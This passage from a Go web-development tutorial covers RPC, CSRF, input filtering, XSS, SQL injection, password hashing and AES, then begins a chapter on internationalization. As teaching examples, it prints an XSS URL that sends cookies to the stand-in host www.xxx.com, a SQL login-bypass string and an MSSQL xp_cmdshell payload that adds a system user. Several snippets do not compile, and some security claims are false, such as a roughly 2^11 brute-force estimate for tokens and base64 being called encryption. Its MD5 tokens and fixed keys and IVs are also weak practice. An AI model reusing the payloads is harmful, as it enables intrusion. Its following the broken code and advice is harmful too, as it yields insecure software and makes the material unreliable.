        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        jsonrpc.ServeConn(conn)
    }

}

func checkError(err error) {
    if err != nil {
        fmt.Println("Fatal error ", err.Error())
        os.Exit(1)
    }
}
```

JSON RPC is based on TCP and doesn't support HTTP yet.

The client side code:

```
package main

import (
    "fmt"
    "log"
    "net/rpc/jsonrpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: ", os.Args[0], "server:port")
        log.Fatal(1)
    }
    service := os.Args[1]

    client, err := jsonrpc.Dial("tcp", service)
    if err != nil {
        log.Fatal("dialing:", err)
    }
    // Synchronous call
    args := Args{17, 8}
    var reply int
    err = client.Call("Arith.Multiply", args, &reply)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

    var quot Quotient
    err = client.Call("Arith.Divide", args, &quot)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)

}
```

Summary

Go has good support for HTTP, TPC and JSON RPC implementation which allow us to easily develop distributed web applications; however, it is regrettable that Go doesn't have built-in support for SOAP RPC, although some open source third-party packages do offer this.

Links

- Directory
- Previous section: REST
- Next section: Summary

8.5 Summary

In this chapter, I introduced you to several mainstream web application development models. In section 8.1, I described the basics of network programming sockets. Because of the rapid evolution of network technology and infrastructure, and given that the Socket is the cornerstone of these changes, you must master the concepts behind socket programming in order to be a competent web developer. In section 8.2, I described HTML5 WebSockets which support full-duplex communications between client and server and eliminate the need for polling with AJAX. In section 8.3, we implemented a simple application using the REST architecture, which is particularly suitable for the development of network APIs; due to the rapid rise of mobile applications, I believe that RESTful APIs will be an ongoing trend. In section 8.4, we learned about Go RPCs.

Go provides excellent support for the four kinds of development methods mentioned above. Note that the `net` package and its sub-packages is the place where Go's network programming tools Go reside. If you want a more in-depth understanding of the relevant implementation details, you should try reading the source code of those packages.

Links

- Directory
- Previous section: RPC
- Next chapter: Security and encryption

9 Security and encryption

Security is an extremely important aspect of most web applications. This topic has been getting more and more attention lately, especially in light of the recent CSDN, Linkedin and Yahoo password leaks. As Go developers, we must be aware of vulnerabilities in our applications and take precautions in order to prevent attackers from taking over our systems.

Many of the security problems that arise in modern web applications originate from data provided by third-parties. For example, user input should always be validated and sanitized before being stored as secure data. If this isn't done, when the data is outputted to a client, it may cause a cross-site scripting attack (XSS). Similarly, if unsafe data is used directly as your application's database queries, then you may be vulnerable to SQL injection attacks. In sections 9.3 and 9.4, we'll look at how to avoid these problems.

When using third-party data (which includes user-supplied data), first verify the integrity of the data by filtering the input. Section 9.2 will describe how to filter input.

Unfortunately, filtering input and escaping output does not solve all security problems. In section 9.1, we will explain cross-site request forgery (CSRF) attacks. This is a malicious exploit where unauthorized commands are transmitted from a user that the website trusts.

Keeping confidential data encrypted can also help you to secure your web applications. In section 9.5, we will describe how to store passwords safely using Go's encryption package.

A good hash function makes it hard to find two strings that would produce the same hash value, and this is one way with which we can encrypt our data. There is also two-way encryption, where you use a secret key to decrypt encrypted data. In section 9.6 we will describe how to perform both one-way and two-way encryption.

Links

- Directory
- Previous Chapter: Chapter 8 Summary
- Next section: CSRF attacks

9.1 CSRF attacks

What is CSRF?

CSRF and XSRF both stand for "Cross-site request forgery". It's also known as a "one click attack" or "session riding".

So how does a CSRF attack work? A CSRF attack happens when an attacker tricks a trusted user into accessing a website or clicking a URL that transmits malicious requests (without the user’s consent) to a targeted website. Here's a simple example: using a few social engineering tricks, an attacker could use the QQ chat software to find and send malicious links to victims targeted at their user's online banking website. If the victim logs into their online bank account and does not exit, then clicking on a malicious link sent from the attacker could allow the attacker to steal all of the user's bank account funds.

When under a CSRF attack, a single end-user with an administrator account can threaten the integrity of the entire web application.

CSRF principle

The following diagram provides a simple overview of a CSRF attack

Figure 9.1 CSRF attack process.

As can be seen from the figure, to complete a CSRF attack, the victim must complete the following two steps:

-1. Log into trusted site A, and store a local Cookie. -2. Without going through existing site A, access the dangerous link to site B.

As a reader you may be asking: "If I do not meet the above two conditions, I will not be subjected to CSRF attacks." Yes this is true, however you cannot guarantee that the following does not occur:

- You cannot guarantee that when you are logged into a site, the site didn't launch any hidden tabs.
- You cannot guarantee that when you close your browser, your cookies will immediately expire and your last session will have ended.
- Trusted, high traffic websites will likely not have hidden vulnerabilities easily exploitable by CSRF based attacks.

Thus, it can be difficult for users to visit a website through a link and know that it will not carry out unknown operations in the form of a CSRF attack.

CSRF attacks work mostly because of the process through which users are authenticated. Although you can reasonably guarantee that a request originates from a user's browser, there is no guarantee that the user granted approval for the request.

How to prevent CSRF attacks

You might be a little scared after reading the section above. But fear is a good thing. It will force you to educate yourself on how to prevent vulnerabilities like this from happening to you.

Preventative measures against CSRF attacks can be taken on both the server and client sides of a web application. However, CSRF attacks are most effectively thwarted on the server side.

There are many ways of preventing CSRF attacks on the server side. Most approaches stem from the following two aspects:

1. Maintaining proper use of GET, POST and cookies.

2. Including a pseudo-random number with non-GET requests.

In the previous chapter on REST, we saw how most web applications are based on GET and POST HTTP requests, and that cookies were included along with these requests. We generally design applications according to the following principles:

1. GET is commonly used to view information without altering any data.
2. POST is used in placing orders, changing the properties of a resource or performing other tasks.

I'm now going to use the Go language to illustrate how to restrict access to resources methods:

```
mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)
```

Since we've stipulated that modifications can only use POST, when a GET method is issued instead of a POST, we can refuse to respond to the request. According to the figure above, attacks utilizing GET as a CSRF exploit can be prevented. Is this enough to prevent all possible CSRF attacks? Of course not, because POSTs can also be forged.

We need to implement a second step, which is (in the case of non-GET requests) to increase the length of the pseudo-random number included with the request. This usually involves steps:

- For each user, generate a unique cookie token with a pseudo-random value. All forms must contain the same pseudo-random value. This proposal is the simplest one because in theory, an attacker cannot read third party cookies. Any form that an attacker may submit will fail the validation process without knowing what the random value is.
- Different forms contain different pseudo-random values, as we've introduced in section 4.4, "How to prevent multiple form submission". We can reuse the relevant code from that section to meet our needs:

Generating a random number token:

```
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))

t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)
```

Output token:

```
<input type="hidden" name="token" value="{{.}}">
```

Authentication token:

```
r.ParseForm()
token := r.Form.Get("token")
if token! = "" {
    // Verification token of legitimacy
} Else {
    // Error token does not exist
}
```

We can use the preceding code to secure our POSTs. You might be wondering, in accordance with our theory, whether there could be some way for a malicious third party to somehow figure out our secret token value? In fact, cracking it is basically impossible -successfully calculating the correct string value using brute force methods needs about 2 to the 11th time.

Summary

Cross-site request forgery, also known as CSRF, is a very dangerous web security threat. It is known in web security circles as a "sleeping giant" security issue; as you can tell, CSRF attacks have quite the reputation. This section not only introduced cross-site request forgery itself, but factors underlying this vulnerability. It concludes with some suggestions and methods for preventing such attacks. I hope this section will have inspired you, as a reader, to write better and more secure web applications.

Links

- Directory
- Previous section: Security and encryption
- Next section: Filter inputs

9.2 Filtering inputs

Filtering user data is one way we can improve the security of our web apps, using it to verify the legitimacy of incoming data. All of the input data is filtered in order to avoid malicious code or data from being mistakenly executed or stored. Most web application vulnerabilities arise form neglecting to filter input data and naively trusting it.

Our introduction to filtering data is divided into three steps:

1. identifying the data; we need to filter the data to figure out where it originated from
2. filtering of the data itself; we need to figure out what kind of data we have received
3. distinguish between filtered (sanitized) and tainted data; after the data has been filtered, we can be assured that it is secure

Identifying data

"Identifying the data" is our first step because most of the time, as mentioned, we don't know where it originates from. Without this knowledge, we would be unable to properly filter it. The data here is provided internally all from non-code data. For example: all data comes from clients, however clients that are users are not the only external sources of data. A database interface providing third party data could also be an external data source.

Data that has been entered by a user is very easy to recognize in Go. We use `r.ParseForm` after the user POSTs a form to get all of the data inside the `r.Form`. Other types of input are much harder to identify. For example in `r.Header`s, many of the elements are often manipulated by the client. It can often be difficult to identify which of these elements have been manipulated by clients, so it's best to consider all of them as having been tainted. The `r.Header.Get("Accept-Charset")` header field, for instance, is also considered as user input, although these are typically only manipulated by browsers.

Filtering data

If we know the source of the data, we can filter it. Filtering is a bit of a formal use of the term. The process is known by many other terms such as input cleaning, validation and sanitization. Despite the fact that these terms differ somewhat in their meaning, they all refer to the same thing: the process of preventing illegal data from making its way into your applications.

There are many ways to filter data, some of which are less secure than others. The best method is to check whether or not the data itself meets the legal requirements dictated by your application. When attempting to do so, it's very important not to make any attempts at correcting the illegal data; this could allow malicious users to manipulate your validation rules for their own needs, altogether defeating the purpose of filtering the data in the first place. History has proven that attempting to correct invalid data often leads to security vulnerabilities. Let's take a look at an overly simple example for illustration purposes. Suppose that a banking system asks users to supply a secure, 6 digit password. The system validates the length of all passwords. One might naively write a validation rule that corrects passwords of illegal lengths: "If a password is shorter than the legal length, fill in the remaining digits with 0s". This simple rule would allow attackers to guess just the first few digits of a password to successfully gain access to user accounts!

We can use several libraries to help us to filter data:

- The strconv package can help us to convert strings input by users into specific types, since `r.Form`s are maps of string values. Some common string conversions provided by strconv are `Atoi`, `ParseBool`, `ParseFloat` and `ParseInt`.
- Go's `strings` package contains some filter functions like `Trim`, `ToLower` and `ToTitle`, which can help us to obtain data in a specific formats, according to our needs.
- Go's `regexp` package can be used to handle cases which are more complex in nature, such as determining whether an input is an email address, a birthday, etc.

Filtering incoming data in addition to authentication can be quite effective. Let's add another technique to our repertoire, called whitelisting. Whitelisting is a good way of confirming the legitimacy of incoming data. Using this method, if an error occurs, it can only mean that the incoming data is illegal, and not the opposite. Of course, we don't want to make any mistakes in our whitelist by falsely labelling legitimate data as illegal, but this scenario is much better than illegal data being labeled as legitimate, and thus much more secure.

Distinguishing between filtered and tainted data

If you have completed the above steps, the job of filtering data has basically been completed. However when writing web applications, we also need to distinguish between filtered and tainted data because doing so can guarantee the integrity of our data filtering process without affecting the input data. Let's put all of our filtered data into a global map variable called `CleanMap`. Then, two important steps are required to prevent contamination via data injection:

- Each request must initialize `CleanMap` as an empty map.
- Prevent variables from external data sources named `CleanMap` from being introduced into the app.

Next, let's use an example form to reinforce these concepts:

```
<form action="/whoami" method="POST">
    Who am I:
    <select name="name">
        <option value="astaxie">astaxie</option>
        <option value="herry">herry</option>
        <option value="marry">marry</option>
    </select>
    <input type="submit" />
</form>
```

In dealing with this type of form, it can be very easy to make the mistake of thinking that users will only be able to submit one of the three `select` options. In fact, POST operations can easily be simulated by attackers. For example, by submitting the same form with `name = attack`, a malicious user could introduce illegal data into our system. We can use a simple whitelist to counter these types of attacks:

```
r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {
    CleanMap["name"] = name
}
```

The above code initializes a `CleanMap` variable, and a name is only assigned after checking it against an internal whitelist of legitimate values (`astaxie`, `herry` and `marry` in this case). We store the data in the `CleanMap` instance so you can be sure that `CleanMap["name"]` holds a validated value. Any code wishing to access this value can then freely do so. We can also add an additional `else` statement to the above `if` whitelist for dealing with illegal data, a possibility being that the form was displayed with an error. Do not try to be too accommodating though, or you run the risk of accidentally contaminating your `CleanMap`.

The above method for filtering data against a set of known, legitimate values is very effective. There is another method for checking whether or not incoming data consists of legal characters using `regexp`, however this would be ineffectual in the above case where we require that the name be an option from the select. For example, you may require that user names only consist of letters and numbers:

```
r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok {
    CleanMap["username"] = username
}
```

Summary

Data filtering plays a vital role in the security of modern web applications. Most security vulnerabilities are the result of improperly filtering data or neglecting to properly validate it. Because the previous section dealt with CSRF attacks and the next two will be introducing XSS attacks and SQL injection, there was no natural segue into dealing with a topic as important as data sanitization, so in this section, we paid special attention to it.

Links

- Directory
- Previous section: CSRF attacks
- Next section: XSS attacks

9.3 XSS attacks

With the development of Internet technology, web applications are often packed with dynamic content to improve user experience. Dynamic content is content that reacts and changes according to user requests and actions. Dynamic sites are often susceptible to cross-site scripting attacks (often referred to by security experts in its abbreviated form, XSS), something which static websites are completely unaffected by.

What is XSS?

As mentioned, the term XSS is an acronym for Cross-Site Scripting, which is a type of attack common on the web. In order not to confuse it with another common web acronym, CSS (Cascading Style Sheets), we use an `X` instead of a `C` for the cross in cross-site scripting. XSS is a common web security vulnerability which allows attackers to inject malicious code into webpages. Unlike most types of attacks which generally involve only an attacker and a victim, XSS involves three parties: an attacker, a client and a web application. The goal of an XSS attack is to steal cookies stored on clients by web applications for the purpose of reading sensitive client information. Once an attacker gets ahold of this information, they can impersonate users and interact with websites without their knowledge or approval.

XSS attacks can usually be divided into two categories: one is a stored XSS attack. This form of attack arises when users are allowed to input data onto a public page, which after being saved by the server, will be returned (unescaped) to other users that happen to be browsing it. Some examples of the types of pages that are often affected include comments, reviews, blog posts and message boards. The process often goes like this: an attacker enters some html followed by a hidden `<script>` tag containing some malicious code, then hits save. The web application saves this to the database. When another user requests this page, the application queries this tainted data from the database and serves the page to the user. The attacker's script then executes arbitrary code on the client's computer.

The other type is a reflected XSS attack. The main idea is to embed a malicious script directly into the query parameters of a URL address. A server that immediately parses this data into a page of results and returns it (to the client who made the request) unsanitized, can unwittingly cause the client's computer to execute this code. An attacker can send a user a legitimate looking link to a trusted website with the encoded payload; clicking on this link can cause the user's browser to execute the malicious script.

XSS present the main means and ends as follows:

- Theft of cookies, access to sensitive information.
- The use of embedded Flash, through crossdomain permissions, can also be used by an attacker to obtain higher user privileges. This also applies for other similar attack vectors such as Java and VBScript.
- The use of iframes, frames, XMLHttpRequests, etc., can allow an attacker to assume the identity of a user to perform administrative actions such as micro-blogging, adding friends, sending private messages, and other routine operations. A while ago, the Sina microblogging platform suffered from this type of XSS vulnerability.
- When many users visit a page affected by an XSS attack, the effect on some smaller sites can be comparable to that of a DDoS attack.

XSS principles

Web applications that return requested data to users without first inspecting and filtering it can allow malicious users to inject scripts (typically embedded inside HTML within `<script>` tags) onto other users' browsers. When this malicious code is rendered on a user's browser without first having been escaped from, the user's browser will interpret this code: this is the definition of an XSS attack, and this type of mistake is the leading cause of XSS vulnerabilities.

Let's go through the process of a reflective XSS attack. Let's say there's a website that outputs a user's name according to the URL query parameters; access the following URL `http://127.0.0.1/?name=astaxie` will cause the server to output the following:

```
hello astaxie
```

Let's say we pass the following parameter instead, accessing the same url: `http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`. If this causes the browser to produce an alert pop-up box, we can confirm that the site is vulnerable to XSS attacks. So how do malicious users steal cookies using the same type of attack?

Just like before, we have a URL:

```
http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;
```

By clicking on this URL, you'd be sending the current cookie to the specified site: `www.xxx.com`. You might be wondering, why would anybody click on such a strange looking URL in the first place? While it's true that this kind of URL will make most people skeptical, if an attacker were to use one of the many popular URL shortening services to obscure it, would you still be able to see it? Most attackers would obfuscate the URL in one way or another, and you'd only know the legitimacy of the link after clicking on it. However by this point, cookie data will have already been sent to the 3rd party website, compromising your sensitive information. You can use tools like Websleuth to audit the security of your web applications for these types of vulnerabilities.

For a more detailed analysis on an XSS attack, have a look at the article: "[Sina microblogging XSS event analysis] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)"

How to prevent XSS

The answer is simple: never trust user input, and always filter out all special characters in any input data you may receive. This will eliminate the majority of XSS attacks.

Use the following techniques to defend against XSS attacks:

- Filter special characters

One way to avoid XSS is to filter user-supplied content. The Go language provides some HTML filtering functions in its `text/template` packge such as `HTMLEscapeString` and `JSEscapeString`, to name a few.

- Specify the content type in your HTTP headers

```
w.Header().Set("Content-Type","text/javascript")
```

This allows client browsers to parse the response as javascript code (applying the neccessary filters) instead of rendering the content in an unspecified and potentially dangerous manner.

Summary

Introducing XSS vulnerabilities is a very real hazard when developing web applications. It is important to remember to filter all data, especially before outputting it to clients; this is now a well-established means of preventing XSS.

Links

- Directory
- Previous section: Filter inputs
- Next section: SQL injection

9.4 SQL injection

What is SQL injection

SQL injection attacks are (as the name would suggest) one of the many types of script injection attacks. In web development, these are the most common form of security vulnerabilities. Attackers can use it to obtain sensitive information from databases, and aspects of an attack can involve adding users to the database, exporting private files, and even obtaining the highest system privileges for their own nefarious purposes.

SQL injection occurs when web applications do not effectively filter out user input, leaving the door wide open for attackers to submit malicious SQL query code to the server. Applications often receive injected code as part of an attacker's input, which alters the logic of the original query in some way. When the application attempts to execute the query, the attacker's malicious code is executed instead.

SQL injection examples

Many web developers do not realize how SQL queries can be tampered with, and may hold the misconception that they are trusted commands. As everyone knows, SQL queries are able to circumvent access controls, thereby bypassing the standard authentication and authorization checks. What's more, it's possible to run SQL queries through commands at the level of the host system.

Let's have a look at some real examples to explain the process of SQL injection in detail.

Consider the following simple login form :

```
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="Login" /></p>
</form>
```

Our form processing might look like this:

```
username := r.Form.Get("username")
password := r.Form.Get("password")
sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'"
```

If the user inputs a user name or password as:

```
myuser' or 'foo' = 'foo' --
```

Then our SQL becomes the following:

```
SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx'
```

In SQL, anything after `--` is a comment. Thus, inserting the `--` as the attacker did above alters the query in a fatal way, allowing an attacker to successfully login as a user without a valid password.

Far more dangerous exploits exist for MSSQL SQL injections, and some can even perform system commands. The following examples will demonstrate how terrible SQL injections can be in some versions of MSSQL databases.

```
sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'"
Db.Exec(sql)
```

If an attacker submits `a%' exec master..xp_cmdshell 'net user test testpass /ADD' --` as the "prod" variable, then the sql will become

```
sql := "SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"
```

The MSSQL Server executes the SQL statement including the commands in the user supplied "prod" variable, which adds new users to the system. If this program is run as is, and the MSSQLSERVER service has sufficient privileges, an attacker can register a system account to access this machine.

> Although the examples above are tied to a specific database system, this does not mean that other database systems cannot be subjected to similar types of attacks. The principles behind SQL injection attacks remain the same, though the method with which they are perpetrated may vary.

How to prevent SQL injection

You might be thinking that an attacker would have to know information about the target database's structure in order to carry out an SQL injection attack. While this is true, it's difficult to guarantee that an attacker won't be able to find this information and once they get it, the database can be compromised. If you are using open source software to access the database, such as a forum application, intruders can easily get the related code. Obviously with poorly designed code, the security risks are even greater. Discuz, phpwind and phpcms are some examples of popular open source programs that have been vulnerable to SQL injection attacks.

These attacks happen to systems where safety precautions are not prioritized. We've said it before, we'll say it again: never trust any kind of input, especially user data. This includes data coming from selection boxes, hidden input fields or cookies. As our first example above has shown, even supposedly normal queries can cause disasters.

SQL injection attacks can be devastating -how can do we even begin to defend against them? The following suggestions are a good starting point for preventing SQL injection:

1. Strictly limit permissions for database operations so that users only have the minimum set of permissions required to accomplish their work, thus minimizing the risk of database injection attacks.
2. Check that input data has the expected data format, and strictly limit the types of variables that can be submitted. This can involve regexp matching, or using the strconv package to convert strings into other basic types for sanitization and evaluation.
3. Transcode or escape from pairs of special characters ('"\&*; etc.) before persisting them into the database. Go's `text/template` package has a `HTMLEscapeString` function that can be used to return escaped HTML.
4. Use your database's parameterized query interface. Parameterized statements use parameters instead of concatenating user input variables in embedded SQL statements; in other words, they do not directly splice SQL statements. For example, using the `Prepare` function in Go's `database/sql` package, we can create prepared statements for later execution with `Query` or `Exec(query string, args... interface {})`.
5. Before releasing your application, thoroughly test it using professional tools for detecting SQL injection vulnerabilities and to repair them, if they exist. There are many online open source tools that do just this, such as sqlmap, SQLninja, to name a few.
6. Avoid printing out SQL error information on public webpages. Attackers can use these error messages to carry out SQL injection attacks. Examples of such errors are type errors, fields not matching errors, or any errors containing SQL statements.

Summary

Through the above examples, we've learned that SQL injection is a very real and very dangerous web security vulnerability. When we write web application, we should pay attention to every little detail and treat security issues with the utmost care. Doing so will lead to better and more secure web applications, and can ultimately be the determing factor in whether or not your application succeeds.

Links

- Directory
- Previous section: XSS attacks
- Next section: Password storage

9.5 Password storage

Over the years, many websites have suffered from breaches in user password data. Even top internet companies such as Linkedin and CSDN.net have been affected. The impact of these events has been felt across the entire internet, and cannot be underestimated. This is especially the case for today's internet users, who often adopt the habit of using the same password for many different websites.

As web developers, we have many choices when it comes to implementing a password storage scheme. However, this freedom is often a double edged sword. So what are the common pitfalls and how can we avoid falling into them?

Common solutions

Currently, the most frequently used password storage scheme is to one-way hash plaintext passwords before storing them. The most important characteristic of one-way hashing is that it is not feasible to recover the original data given the hashed data -hence the "one-way" in one-way hashing. Commonly used cryptographic, one-way hash algorithms include SHA-256, SHA-1, MD5 and so on.

You can easily use the three aforementioned encryption algorithms in Go as follows:

```
//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

//import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密码")
fmt.Printf("%x", h.Sum(nil))
```

There are two key features of one-way hashing:

1) given a one-way hash of a password, the resulting summary is always uniquely determined. 2) calculation speed. As technology advances, it only takes a second to complete billions of one-way hash calculations.

Given the combination of the above two characteristics, and taking into account the fact that the majority of people use some combination of common passwords, an attacker can compute a combination of all the common passwords. Even though the passwords you store in your database may be hash values only, if attackers gain access to this database, they can compare the stored hashes to their precomputed hashes to obtain the corresponding passwords. This type of attack relies on what is typically called a `rainbow table`.

We can see that encrypting user data using one-way hashes may not be enough. Once a website's database gets leaked, the user's original password could potentially be revealed to the world.

Advanced solution

Through the above description, we've seen that hackers can use `rainbow table`s to crack hashed passwords, largely because the hash algorithm used to encrypt them is public. If the hackers do not know what the encryption algorithm is, they wouldn't even know where to start.

An immediate solution would be to design your own hash algorithm. However, good hash algorithms can be very difficult to design both in terms of avoiding collisions and making sure that your hashing process is not too obvious. These two points can be much more difficult to achieve than expected. For most of us, it's much more practical to use the existing, battle-hardened hash algorithms that are already out there.

But, just to repeat ourselves, one-way hashing is still not enough to stop more sophisticated hackers from reverse engineering user passwords. Especially in the case of open source hashing algorithms, we should never assume that a hacker does not have intimate knowledge of our hashing process.

Of course, there are no impenetrable shields, but there are also no unbreakable spears. Nowadays, any website with decent security will use a technique called "salting" to store passwords securely. This practice involves concatenating a server-generated random string to a user supplied password, and using the resulting string as an input to a one-way hash function. The username can be included in the random string to ensure that each user has a unique encryption key.

```
//import "crypto/md5"
// Assume the username abc, password 123456
h := md5.New()
io.WriteString(h, "password need to be encrypted")

pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))

// Specify two salt: salt1 = @#$% salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"

// salt1 + username + salt2 + MD5 splicing
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)

last :=fmt.Sprintf("%x", h.Sum(nil))
```

In the case where our two salt strings have not been compromised, even if hackers do manage to get their hands on the encrypted password string, it will be almost impossible to figure out what the original password is.

Professional solution

The advanced methods mentioned above may have been secure enough to thwart most hacking attempts a few years ago, since most attackers would not have had the computing resources to compute large `rainbow table`s. However, with the rise of parallel computing capabilities, these types of attacks are becoming more and more feasible.

How do we securely store a password so that it cannot be deciphered by a third party, given real life limitations in time and memory resources? The solution is to calculate a hashed password to deliberately increase the amount of resources and time it would take to crack it. We want to design a hash such that nobody could possibly have the resources required to compute the required `rainbow table`.

Very secure systems utilize hash algorithms that take into account the time and resources it would require to compute a given password digest. This allows us to create password digests that are computationally expensive to perform on a large scale. The greater the intensity of the calculation, the more difficult it will be for an attacker to pre-compute `rainbow table`s -so much so that it may even be infeasible to try.

In Go, it's recommended that you use the `scrypt` package, which is based on the work of the famous hacker Colin Percival (of the FreeBSD backup service Tarsnap).

The package's source code can be found at the following link: http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt

Here is an example code snippet which can be used to obtain a derived key for an AES-256 encryption:

```
dk: = scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
```

You can generate unique password values using the above method, which are by far the most difficult to crack.

Summary

If you're worried about the security of your online life, you can take the following steps:

1) As a regular internet user, we recommend using LastPass for password storage and generation; on different sites use different passwords.

2) As a Go web developer, we strongly suggest that you use one of the professional, well tested methods above for storing user passwords.

Links

- Directory
- Previous section: SQL injection
- Next section: Encrypt and decrypt data

9.6 Encrypting and decrypting data

The previous section describes how to securely store passwords, but sometimes it might be neccessary to modify some sensitive encrypted data that has already been stored into our database. When data decryption is required, we should use a symmetric encryption algorithm instead of the one-way hashing techniques we've previously covered.

Advanced encryption and decryption

The Go language supports symmetric encryption algorithms in its `crypto` package. Two advanced encryption modules are:

- `crypto/aes` package: AES (Advanced Encryption Standard), also known as Rijndael encryption method, is used by the U.S. federal government as a block encryption standard.
- `crypto/des` package: DES (Data Encryption Standard), is a symmetric encryption standard . It's currently the most widely used key system, especially in protecting the security of financial data. It used to be the United States federal government's encryption standard, but has now been replaced by AES.

Because using these two encryption algorithms is quite similar, we'll just use the `aes` package in the following example to demonstrate how you'd typically use these packages:

```
package main

import (
    "crypto/aes"
    "crypto/cipher"
    "fmt"
    "os"
)

var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}

func main() {
    // Need to encrypt a string
    plaintext := []byte("My name is Astaxie")
    // If there is an incoming string of words to be encrypted, set plaintext to that incoming string
    if len(os.Args) > 1 {
        plaintext = []byte(os.Args[1])
    }

    // aes encryption string
    key_text := "astaxie12798akljzmknm.ahkjkljl;k"
    if len(os.Args) > 2 {
        key_text = os.Args[2]
    }

    fmt.Println(len(key_text))

    // Create the aes encryption algorithm
    c, err := aes.NewCipher([]byte(key_text))
    if err != nil {
        fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
        os.Exit(-1)
    }

    // Encrypted string
    cfb := cipher.NewCFBEncrypter(c, commonIV)
    ciphertext := make([]byte, len(plaintext))
    cfb.XORKeyStream(ciphertext, plaintext)
    fmt.Printf("%s=>%x\n", plaintext, ciphertext)

    // Decrypt strings
    cfbdec := cipher.NewCFBDecrypter(c, commonIV)
    plaintextCopy := make([]byte, len(plaintext))
    cfbdec.XORKeyStream(plaintextCopy, ciphertext)
    fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}
```

Calling the above function `aes.NewCipher` (whose []byte key parameter must be 16, 24 or 32, corresponding to the AES-128, AES-192 or AES-256 algorithms, respectively), returns a `cipher.Block` Interface that implements three functions:

```
type Block interface {
    // BlockSize returns the cipher's block size.
    BlockSize() int

    // Encrypt encrypts the first block in src into dst.
    // Dst and src may point at the same memory.
    Encrypt(dst, src []byte)

    // Decrypt decrypts the first block in src into dst.
    // Dst and src may point at the same memory.
    Decrypt(dst, src []byte)
}
```

These three functions implement encryption and decryption operations; see the Go documentation for a more detailed explanation.

Summary

This section describes encryption algorithms which can be used in different ways according to your web application's encryption and decryption needs. For applications with even basic security requirements it is recommended to use AES.

Links

- Directory
- Previous: store passwords
- Next: Summary

9.7 Summary

In this chapter, we've described CSRF, XSS and SQL injection based attacks. Most web applications are vulnerable to these types of attacks due to a lack of adequate input filtering on the part of the application. So, in addition to introducing the principles behind these attacks, we've also introduced a few techniques for effectively filtering user data and preventing these attacks from ever taking place. We then discussed a few methods for securely storing user passwords, first introducing basic one-way hashing for web applications with loose security requirements, then password salting and encryption algorithms for more serious applications. Finally, we briefly discussed two-way hashing and the encryption and decryption of sensitive data. We learned that the Go language provides packages for three symmetric encryption algorithms: base64, AES and DES.

The purpose of this chapter is to help readers become more conscious of the security issues that exist in modern day web applications. Hopefully, it can help developers to plan and design their web applications a little more carefully, so they can write systems that are able to prevent hackers from exploiting user data. The Go language has a large and well designed anti-attack toolkit, and every Go developer should take full advantage of these packages to better secure their web applications.

Links

- Directory
- Previous section: Encrypt and decrypt data
- Next chapter: Internationalization and localization

10 Internationalization and localization

In order to adapt to the increasing globalization of the internet, as developers, we may sometimes need to build multilingual, international web applications. This means that some pages will appear in different languages according to user regions, and perhaps the UI and UX will also be adapted to show different effects based on local holidays or culture. For example at runtime, the application will be able to recognize and process requests coming from different geographical regions and render pages in the local dialect or display different user interface. As competent developers, we don't want to have to manually modify our application's source code to cater to every possible region out there. When an application needs to add support for a new language, we should be able to simply drop in the appropriate language pack and be done with it.

In this section, we'll be talking about internationalization and localization (usually expressed as i18n and L10N, respectively). Internationalization is the process of designing applications that are flexible enough to be served to multiple regions around the world. In some ways, we can think of internationalization as something that helps to facilitate localization, which is the adaptation of a web application's content and design to suit the language or cultural needs of specific locales.

Currently, Go's standard package does not provide i18n support, but there are some useful and relatively simple third-party implementations available. In this chapter, we'll be using the open-source "go-i18n" library to support internationalization in our examples.

When we talk about making our web applications "international", we mean that each web page should be constructed with locale specific information and assembled with the corresponding local strings, time and currency formats, etc. This involves three things:

1. how to determine the user's locale.
2. how to save strings or other information associated with the locale.
3. how to embed strings and other information according to the user's locale.

In the first section, we'll describe how to detect and set the correct locale in order to allow website users access to their language specific pages. The second section describes how to handle or store strings, currencies, times, dates and other locale related information. Finally, the third section will describe how to internationalize your web application; more specifically, we'll discuss how to return different pages with locale appropriate content. Through these three sections, we'll be able to support full i18n in our web applications.

Links

- Directory
- Previous Chapter: Chapter 9 Summary
